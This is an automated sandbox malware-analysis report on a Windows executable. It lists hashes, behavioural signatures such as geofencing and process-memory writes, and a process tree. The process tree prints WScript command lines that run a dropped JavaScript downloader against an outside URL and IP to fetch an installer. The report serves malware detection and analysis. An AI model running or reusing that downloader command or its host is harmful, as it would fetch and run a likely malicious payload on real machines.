Analysis

  • max time kernel
    100s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/06/2024, 20:20

General

  • Target

    a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    a22d8a9089c88ef4a9f50e97776019ae

  • SHA1

    e75aa98e2b17552bdc3663f6e7ee166926c2c6d9

  • SHA256

    85b3cfead6257e9840c4ef65443cbfb206982c48375d4bb632c32babd0eccebc

  • SHA512

    a266dc530242546d7cef81f7e60295c1987e9ed61b6aa3662fae7b3b3543b479dc7f4ce5453b3af37ed015c2026fb8def9cd4b60a0bfcb7f681b0d70277aa289

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO30:/7BSH8zUB+nGESaaRvoB7FJNndn5

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe
      2⤵
        PID:1424
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe
        2⤵
          PID:4464
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe
          2⤵
            PID:3696
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe
            2⤵
              PID:3196
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe
              2⤵
                PID:4604

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\fuf5F56.js

              Filesize

              3KB

              MD5

              3813cab188d1de6f92f8b82c2059991b

              SHA1

              4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

              SHA256

              a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

              SHA512

              83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76